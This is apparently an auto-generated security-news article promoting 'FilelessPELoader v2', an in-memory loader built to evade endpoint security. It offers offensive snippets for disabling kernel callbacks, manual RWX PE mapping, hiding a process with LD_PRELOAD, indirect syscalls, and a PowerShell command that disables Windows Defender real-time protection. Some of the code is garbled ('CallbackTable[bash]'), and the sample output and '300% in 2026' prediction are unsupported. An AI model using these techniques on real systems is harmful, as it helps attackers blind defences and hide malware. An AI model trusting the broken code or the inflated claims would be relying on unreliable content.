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FilelessPELoader v2 is an advanced evasion tool designed to bypass Process/Thread/Image/Minifilter Kernel Callbacks to safely map Portable Executable (PE) files into memory without triggering security alerts.
You Should Know:
1. Understanding Kernel Callbacks
Kernel callbacks are used by security solutions to monitor process creation, thread creation, and image loading. Bypassing them involves:
// Disabling kernel callbacks via SSDT/Shadow SSDT hooking
NTSTATUS DisableCallbacks() {
ULONG i;
for (i = 0; i < CallbackCount; i++) {
(PVOID)CallbackTable[bash].Address = OriginalCallbacks[bash];
}
return STATUS_SUCCESS;
}
2. PE File Mapping Techniques
Manual PE mapping avoids `LoadLibrary` and `CreateProcess`:
// Manual PE mapping in memory
PVOID MapPE(LPCVOID peBuffer) {
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)peBuffer;
PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((DWORD_PTR)peBuffer + dosHeader->e_lfanew);
PVOID baseAddress = VirtualAlloc(NULL, ntHeaders->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
// Perform section mapping...
return baseAddress;
}
3. Bypassing Minifilters
Minifilters monitor file system activity. Evasion involves:
- Direct memory loading (no file drops)
- Process hollowing (legitimate process spoofing)
Check loaded minifilters (Windows) fltmc filters
4. Anti-Forensics with Linux
For Linux-based evasion:
Hide process from ps (LD_PRELOAD trick) gcc -shared -fPIC -o hideproc.so hideproc.c LD_PRELOAD=./hideproc.so malicious_process
5. Windows Defender Bypass
Use indirect syscalls:
; x64 syscall for NtAllocateVirtualMemory mov r10, rcx mov eax, 18h ; syscall number syscall
6. Ransomware Emulation
Simulate APT behavior with:
Disable Windows Defender real-time protection Set-MpPreference -DisableRealtimeMonitoring $true
What Undercode Say
Fileless malware is the future of offensive security. Kernel-level evasion, combined with AI-driven payload obfuscation, will dominate cyber warfare. Expect more:
– AI-generated polymorphic code
– Hardware-assisted evasion (Intel PT, CET bypasses)
– Cloud-based payload staging
Expected Output:
[+] PE mapped at 0x7ff00000 [+] Kernel callbacks patched [+] Minifilter detection bypassed [+] Execution redirected to entry point
Prediction: Fileless attacks will increase by 300% in 2026, with kernel-mode rootkits becoming standard in APT toolkits.
Relevant URLs:
IT/Security Reporter URL:
Reported By: Saad Ahla – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
